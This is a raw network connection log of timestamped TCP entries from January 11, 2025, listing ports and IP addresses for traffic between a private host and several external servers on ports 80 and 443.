Jan 11, 2025 01:11:50.016499996 CET	80	49708	103.83.194.55	192.168.2.16
Jan 11, 2025 01:11:50.016899109 CET	49708	80	192.168.2.16	103.83.194.55
Jan 11, 2025 01:11:50.019610882 CET	443	49727	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.019691944 CET	443	49727	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.020488024 CET	49727	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.020488024 CET	49727	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.023299932 CET	49708	80	192.168.2.16	103.83.194.55
Jan 11, 2025 01:11:50.028151989 CET	80	49708	103.83.194.55	192.168.2.16
Jan 11, 2025 01:11:50.083340883 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.083656073 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.083683014 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.084017992 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.084481001 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.084537983 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.084629059 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.112838984 CET	49680	80	192.168.2.16	192.229.211.108
Jan 11, 2025 01:11:50.131329060 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.175503969 CET	49678	443	192.168.2.16	20.189.173.10
Jan 11, 2025 01:11:50.224148989 CET	443	49729	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.224498034 CET	49729	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.224529028 CET	443	49729	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.225625992 CET	443	49729	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.225706100 CET	49729	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.227010012 CET	49729	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.227089882 CET	443	49729	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.227173090 CET	49729	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.230026960 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.230101109 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.230129957 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.230161905 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.230191946 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.230226040 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.230268002 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.230268002 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.230284929 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.230478048 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.230890989 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.231010914 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.231023073 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.232937098 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.233148098 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.233180046 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.233540058 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.234291077 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.234370947 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.234411001 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.234450102 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.234468937 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.234630108 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.234664917 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.234692097 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.234760046 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.234760046 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.234766960 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.271322966 CET	443	49729	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.271502972 CET	49729	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.271513939 CET	443	49729	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.286511898 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.318434000 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.318531036 CET	49729	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.318562031 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.318702936 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.318720102 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.318732977 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.318866014 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.318882942 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.319212914 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.319250107 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.319274902 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.319278955 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.319291115 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.319540024 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.319777012 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.319818974 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.319859028 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.319890022 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.319890022 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.319905996 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.319977999 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.319977999 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.320322990 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.320434093 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.320462942 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.320487022 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.320513010 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.320535898 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.320552111 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.320552111 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.320559025 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.320672989 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.323261976 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.323287964 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.323322058 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.323337078 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.323945045 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.334568024 CET	49727	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.334599972 CET	443	49727	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.350765944 CET	443	49729	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.350858927 CET	443	49729	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.351006031 CET	49729	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.351207972 CET	49729	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.351222992 CET	443	49729	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.351775885 CET	49732	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.351813078 CET	443	49732	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.351982117 CET	49732	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.352118015 CET	49732	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.352134943 CET	443	49732	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.396913052 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.396970034 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.397002935 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.397039890 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.397053003 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.397085905 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.397103071 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.397361994 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.397444963 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.397453070 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.397810936 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.398196936 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.398204088 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.401664019 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.401700974 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.401730061 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.401756048 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.401765108 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.401789904 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.407222986 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.407285929 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.407332897 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.407356977 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.407366037 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.407413006 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.407512903 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.407512903 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.407521009 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.407661915 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.407721043 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.407778025 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.407843113 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.407843113 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.407849073 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.408113956 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.408169985 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.408184052 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.408194065 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.408308029 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.408308029 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.408313990 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.408730030 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.408762932 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.408782959 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.408796072 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.408806086 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.408838987 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.408885956 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.408885956 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.408885956 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.408886909 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.408900976 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.409269094 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.409533024 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.409620047 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.409625053 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.409635067 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.409650087 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.409785986 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.409785986 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.409794092 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.414514065 CET	49680	80	192.168.2.16	192.229.211.108
Jan 11, 2025 01:11:50.446517944 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.462563992 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.485302925 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.485373020 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.485414982 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.485436916 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.485553980 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.485584021 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.485609055 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.485615969 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.485625982 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.485656023 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.486056089 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.486107111 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.486157894 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.486165047 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.486490011 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.486509085 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.486515999 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.486551046 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.486601114 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.486610889 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.486840963 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.487122059 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.487205029 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.487241983 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.487277031 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.487277985 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.487293005 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.487339973 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.487381935 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.487432003 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.487449884 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.487466097 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.487543106 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.495899916 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.495953083 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.496021032 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.496030092 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.496042013 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.496081114 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.496121883 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.496121883 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.529427052 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.573307991 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.573344946 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.574136972 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.574184895 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.574198961 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.574218035 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.574264050 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.574301004 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.574307919 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.574314117 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.574350119 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.574681044 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.574728966 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.574737072 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.575017929 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.575078964 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.575083017 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.575097084 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.575141907 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.575685024 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.575756073 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.575781107 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.575834990 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.575851917 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.575905085 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.576559067 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.576611996 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.576625109 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.576663971 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.576668978 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.576678038 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.576704025 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.576708078 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.576764107 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.576770067 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.576812983 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.577482939 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.577548027 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.617952108 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.618031025 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.662725925 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.662787914 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.662938118 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.662976980 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.662981033 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.663017035 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.663033962 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.663033962 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.663058043 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.663291931 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.663336039 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.663346052 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.663355112 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.663378954 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.663398027 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.663685083 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.663737059 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.663786888 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.663826942 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.663830996 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.663839102 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.663877010 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.663877964 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.663888931 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.663969994 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.663978100 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.664041042 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.664047003 CET	443	49730	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:50.664064884 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.664092064 CET	49730	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:50.681749105 CET	49733	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.681778908 CET	443	49733	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.681911945 CET	49733	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.682418108 CET	49733	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.682432890 CET	443	49733	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.796564102 CET	49728	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:50.796588898 CET	443	49728	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:50.809199095 CET	443	49732	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.809453011 CET	49732	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.809482098 CET	443	49732	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.809895992 CET	443	49732	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.810410023 CET	49732	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.810410023 CET	49732	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.810430050 CET	443	49732	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.810491085 CET	443	49732	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.860995054 CET	49732	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.941670895 CET	443	49732	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.941755056 CET	443	49732	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.941834927 CET	49732	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.941962957 CET	49732	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.941987038 CET	443	49732	35.190.80.1	192.168.2.16
Jan 11, 2025 01:11:50.942013025 CET	49732	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:50.942423105 CET	49732	443	192.168.2.16	35.190.80.1
Jan 11, 2025 01:11:51.018524885 CET	49680	80	192.168.2.16	192.229.211.108
Jan 11, 2025 01:11:51.046056986 CET	49734	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:51.046117067 CET	443	49734	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:51.046224117 CET	49734	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:51.046441078 CET	49734	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:51.046457052 CET	443	49734	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:51.153956890 CET	443	49733	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:51.154253960 CET	49733	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:51.154283047 CET	443	49733	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:51.154654980 CET	443	49733	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:51.155047894 CET	49733	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:51.155158997 CET	443	49733	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:51.155189037 CET	49733	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:51.195342064 CET	443	49733	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:51.208537102 CET	49733	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:51.297549963 CET	443	49733	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:51.297658920 CET	443	49733	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:51.298218012 CET	49733	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:51.298360109 CET	49733	443	192.168.2.16	104.18.95.41
Jan 11, 2025 01:11:51.298382998 CET	443	49733	104.18.95.41	192.168.2.16
Jan 11, 2025 01:11:51.519557953 CET	443	49734	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:51.519855022 CET	49734	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:51.519885063 CET	443	49734	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:51.520232916 CET	443	49734	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:51.520545006 CET	49734	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:51.520607948 CET	443	49734	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:51.520709991 CET	49734	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:51.567336082 CET	443	49734	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:51.670205116 CET	443	49734	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:51.670308113 CET	443	49734	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:51.670371056 CET	443	49734	104.18.94.41	192.168.2.16
Jan 11, 2025 01:11:51.670387030 CET	49734	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:51.670427084 CET	49734	443	192.168.2.16	104.18.94.41
Jan 11, 2025 01:11:51.670993090 CET	49734	443	192.168.2.16	104.18.94.41
